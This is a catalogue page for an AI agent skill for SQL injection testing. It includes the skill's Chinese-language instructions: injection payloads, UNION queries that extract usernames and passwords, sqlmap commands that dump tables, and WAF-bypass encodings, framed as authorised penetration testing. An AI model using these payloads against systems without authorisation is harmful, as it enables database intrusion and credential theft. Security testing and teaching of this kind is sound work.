sql-injection-testing

sql-injection-testing is a skill for Claude Code, Codex from liuxinye23/CyberStrikeAI. It costs 15 tokens per session (871 once invoked), scanned A, original, Apache-2.0.

A method for checking web applications for SQL injection, a flaw where user input can change a database query.

In plain words
What is it for?
Use it to test URL parameters, form data, headers, and cookies with manual checks or sqlmap, then examine database names, tables, columns, and data.
Why use it?
It provides a structured way to find unsafe input points, identify the database, and test whether data could be exposed. Use it only on systems you are authorised to test.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/liuxinye23/cyberstrikeai/sql-injection-testing
Any agent
npx skills add liuxinye23/CyberStrikeAI --skill sql-injection-testing
Clone the repo
git clone --depth 1 https://github.com/liuxinye23/CyberStrikeAI

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for sql-injection-testing

README.md
[![agentmods](https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/sql-injection-testing.svg)](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/sql-injection-testing)
Your own site
<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/sql-injection-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/sql-injection-testing.svg" alt="Measured on agentmods" height="20"></a>
Per session 15 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 871 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00015 $0.00871
Opus 5 $0.00008 $0.00436
Sonnet 5 $0.00003 $0.00174
Haiku 4.5 $0.00002 $0.00087

Measured 3d ago against content hash 90abaf855bd5, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

sql-injection-testing scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/sql-injection-testing/SKILL.md · 102 lines

What it actually says

SQL注入测试技能

概述

SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。

测试方法

1. 参数识别

  • 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
  • 重点关注:id、search、filter、sort等参数
  • 使用Burp Suite或类似工具拦截和修改请求

2. 基础检测

  • 单引号测试:' - 查看是否出现SQL错误
  • 布尔盲注:' AND '1'='1 vs ' AND '1'='2
  • 时间盲注:' AND SLEEP(5)--
  • 联合查询:' UNION SELECT NULL--

3. 数据库识别

  • MySQL:' AND @@version LIKE '%mysql%'--
  • PostgreSQL:' AND version() LIKE '%PostgreSQL%'--
  • MSSQL:' AND @@version LIKE '%Microsoft%'--
  • Oracle:' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--

4. 信息提取

  • 数据库名:' UNION SELECT database()--
  • 表名:' UNION SELECT table_name FROM information_schema.tables--
  • 列名:' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
  • 数据提取:' UNION SELECT username,password FROM users--

工具使用

sqlmap

# 基础扫描
sqlmap -u "http://target.com/page?id=1"

# 指定参数
sqlmap -u "http://target.com/page" --data="id=1" --method=POST

# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql

# 获取数据库列表
sqlmap -u "http://target.com/page?id=1" --dbs

# 获取表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

手动测试

  • 使用Burp Suite的Repeater模块
  • 使用浏览器开发者工具
  • 编写Python脚本自动化测试

绕过技术

WAF绕过

  • 编码绕过:URL编码、Unicode编码、十六进制编码
  • 注释绕过:/**/, --, #
  • 大小写混合:SeLeCt, UnIoN
  • 空格替换:/**/, +, %09(Tab), %0A(换行)

示例

原始:' UNION SELECT NULL--
绕过1:'/**/UNION/**/SELECT/**/NULL--
绕过2:'%55nion%20select%20null--
绕过3:'/*!UNION*//*!SELECT*/null--

验证和报告

验证步骤

  1. 确认可以执行SQL语句
  2. 提取数据库信息验证
  3. 评估影响范围(数据泄露、权限提升等)
  4. 记录完整的POC(请求/响应)

报告要点

  • 漏洞位置和参数
  • 影响的数据和系统
  • 完整的利用步骤
  • 修复建议(参数化查询、输入验证等)

注意事项

  • 仅在授权测试环境中进行
  • 避免对生产数据造成破坏
  • 谨慎使用DROP、DELETE等危险操作
  • 记录所有测试步骤以便复现
Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 102 lines · 15 tokens per session scan A 90abaf855bd5

Subscribe to this mod's changes

sql-injection-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 15 tokens to every session and 871 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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